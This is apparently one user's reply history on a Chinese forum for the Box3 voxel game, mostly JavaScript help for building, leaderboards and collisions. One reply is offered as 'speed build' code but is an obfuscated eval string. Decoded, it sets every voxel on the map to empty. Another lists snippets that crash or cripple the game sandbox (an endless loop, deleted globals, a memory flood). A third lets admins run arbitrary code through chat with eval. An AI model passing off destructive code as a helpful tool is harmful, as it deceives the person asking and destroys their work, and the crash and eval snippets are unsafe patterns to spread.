
Lv.1
在 【box3】YDS尹子代码分享:画平面圆工具 中回复
翻译:
创建变量“start”初始值为{x:64,y:9,z:64}
创建变量“rad”初始值为6
创建变量“block”初始值为null
使用“radius”变量从1遍历rad次【
使用“angle”变量从0遍历360次【
创建变量“x”初始值为(四舍五入(sin(圆周率 ÷ 180 × angle)× radius+start的X坐标))
创建变量“z”初始值为(四舍五入(sin(圆周率 ÷ 180 × angle)× radius+start的Z坐标))
在(x,start.y,z)处放置方块(block)
】
】
2022-02-04T14:22:46 点赞:0
在 怎样制作排行榜 中回复
挖坟!
(()=>{
c喵t e=world.querySelector('#排行榜');//在世界里面选择名为“排行榜”的实体
e.enableInteract=true;//允许让他和其他实体交互
e.interactHint='排行榜';
e.interactRadius=5;
e.onInteract(({entity})=>{
var g=[];
world.querySelectorAll('player').forEach((p)=>{
g.push({f:p.coin,n:p.player.name});
});
for(this.i=0;i<g.length;i++){
for(this.j=0;j<g.length;j++){
if(g[i].f>g[j].f){
c喵t r=g[j];
g[j]=g[i]
g[i]=r;
}
}
}
var _g='';
for(c喵t e in g){
_g+=(`第${Number(e)+1}名:${g[e].n}有${g[e].f}金币\\n`)
}
entity.player.dialog({
type:Box3DialogType.TEXT,
title:'排行榜',
content:eval(`"${_g}"`)
})
})
})()2022-06-24T12:10:50 点赞:0
在 踢出玩家的代码 中回复
(n=>world.querySelectorAll('player').filter(o=>o.player.name==n)[0].player.kick())('踢出你要踢出玩家的名字')2022-07-19T11:07:33 点赞:0
在 急需管喵代码a谁有aaaaaaaaaaa 中回复
var administrators = [];/*这里添加要填写管理的名字*/
world.onChat(({entity,message})=>administrators.includes(entity.player.name)&&message[0]=='$'&&(async()=>world.say('<~ '+eval(message.slice(1))))().catch(error=>world.say('<~ '+error)));2022-07-30T11:53:52 点赞:0
在 { 神岛 } 当你作啊喵写危险代码…… 中回复
回复楼下:
delete Math:你觉得我是空气对吧
for(var e in globalThis)globalThis[e]=undefined:有本事用setter让我不能修改
for(;;); :那我走?
(async()=>{while(true){await new Promise(resolve=>setTimeout(resolve,1));console.error(new Int8Array(416667))}}) :有本事把Promise函数禁用,setTimeout函数禁用,console.error函数禁用
2022-08-06T22:38:09 点赞:0
在 啊谁会速建啊! 中回复
我在场发一下速建代码
eval((![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u0078\u003D'+String.fromCharCode(0x30)+';x<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%78')+';\x78++)'+(![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u0079\u003D'+String.fromCharCode(0x30)+';y<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%79')+';\x79++)'+(![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u007a\u003D'+String.fromCharCode(0x30)+';z<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%7A')+';\x7A++)'+'\x76\x6F\x78\x65\x6C\x73\x2E\x73\x65\x74\x56\x6F\x78\x65\x6C\x28\x78\x2C\x79\x2C\x7A\x2C\x30\x29;')2022-08-08T19:28:33 点赞:0
在 { 神岛 教程 } 强化方块碰撞系统,适合用于跑酷中! 中回复
此代码有点问题,改进后:
world.onTick(()=>{
world.querySelectorAll('player').forEach(entity=>{
const v=(x,y,z)=>new Box3Vector3(x,y,z);//缩短Box3Vector3
const g=(v)=>voxels.getVoxel(v.x,v.y,v.z);//缩短voxels.getVoxel
const x=entity.bounds.x;//用x,y,z缩短玩家的体积长宽高的1/2
const y=entity.bounds.y+0.25;//y检测加多一点是因为跳着瞬间起来的话要检测还要广一点,光加0.1也是有几率检测不到
const z=entity.bounds.z;
const add=0.1;//数值可以调
const p=entity.position.clone();//用p缩短玩家的位置
const allAround=[
v(p.x+x+add,p.y+y+add,p.z+z+add),//加0.1是因为如果要加强,那么要检测的更广
v(p.x+x+add,p.y+y+add,p.z-z-add),
v(p.x+x+add,p.y+y+add,p.z),
v(p.x+x+add,p.y-y-add,p.z+z+add),
v(p.x+x+add,p.y-y-add,p.z-z-add),
v(p.x+x+add,p.y-y-add,p.z),
v(p.x+x+add,p.y,p.z+z+add),
v(p.x+x+add,p.y,p.z-z-add),
v(p.x+x+add,p.y,p.z),
v(p.x-x-add,p.y+y+add,p.z+z+add),
v(p.x-x-add,p.y+y+add,p.z-z-add),
v(p.x-x-add,p.y+y+add,p.z),
v(p.x-x-add,p.y-y-add,p.z+z+add),
v(p.x-x-add,p.y-y-add,p.z-z-add),
v(p.x-x-add,p.y-y-add,p.z),
v(p.x-x-add,p.y,p.z+z+add),
v(p.x-x-add,p.y,p.z-z-add),
v(p.x-x-add,p.y,p.z),
v(p.x,p.y+y+add,p.z+z+add),
v(p.x,p.y+y+add,p.z-z-add),
v(p.x,p.y+y+add,p.z),
v(p.x,p.y-y-add,p.z+z+add),
v(p.x,p.y-y-add,p.z-z-add),
v(p.x,p.y-y-add,p.z),
v(p.x,p.y,p.z+z+add),
v(p.x,p.y,p.z-z-add),
v(p.x,p.y,p.z),
];//四周位置
for(const e of allAround){
if(g(e)==voxels.id('lava02')){//帖主把岩浆的方块名称写成了lava_02,正确的应该是lava02
entity.hurt(100);
break;//退出循环是为了防止多次检测到玩家碰撞
}//如果检测到玩家碰到岩浆那么就直接KO掉
}
})
});
其实getEntityBounds这个函数是没用的)
2022-08-10T09:07:06 点赞:0
在 BUG又来了 中回复
while( 1 == 1 ){};//没有等待的喵循环会导致服务器崩溃,正确写法应该:
(async()=>{//等待代码必须放在异步函数里面
while(true){//1==1得到的值就是true
await world.nextTick();//等待下一个tick
world.say(...);
}
})();
//还有,对象里面用的不是var
//这是你的错误写法
var object = {
var : key = value
};
//正确应该这样写
var object = {
key: value
}2022-08-14T10:43:27 点赞:3
在 【投票】你心目中最难的跑酷是什么? 中回复
HELL的话,虽然很难,但是我自觉简单()()
我的魔鬼训练的话,浏览量只有不到100,所以通关的只有我()()
那么就是美工喵的超难跑酷了()()我全程使用跳关()()
2022-08-14T18:08:45 点赞:0
在 { 神岛 } 问一个问题:水图指什么? 中回复
水图到底指什么??????
(来自四队炸弹之战的评论)(挖坟看见的)


击杀玩家……队伍加分……你玩一下就知道了还有4个关于炸弹类的道具……
普通的PVP地图能上首,是吉吉喵的问题
但是你说这图水,就很不应该
我真的很想知道水图到底指什么啊啊啊谁能告诉我
2022-08-15T15:40:24 点赞:0
在 救命啊啊啊哪位代码师来帮我看看 中回复
你是不是用了setInterval再加world.querySelectorAll('player').forEach,这应该是空气人的原因,加个条件“if(!o)return”就行了
2022-08-16T15:57:21 点赞:0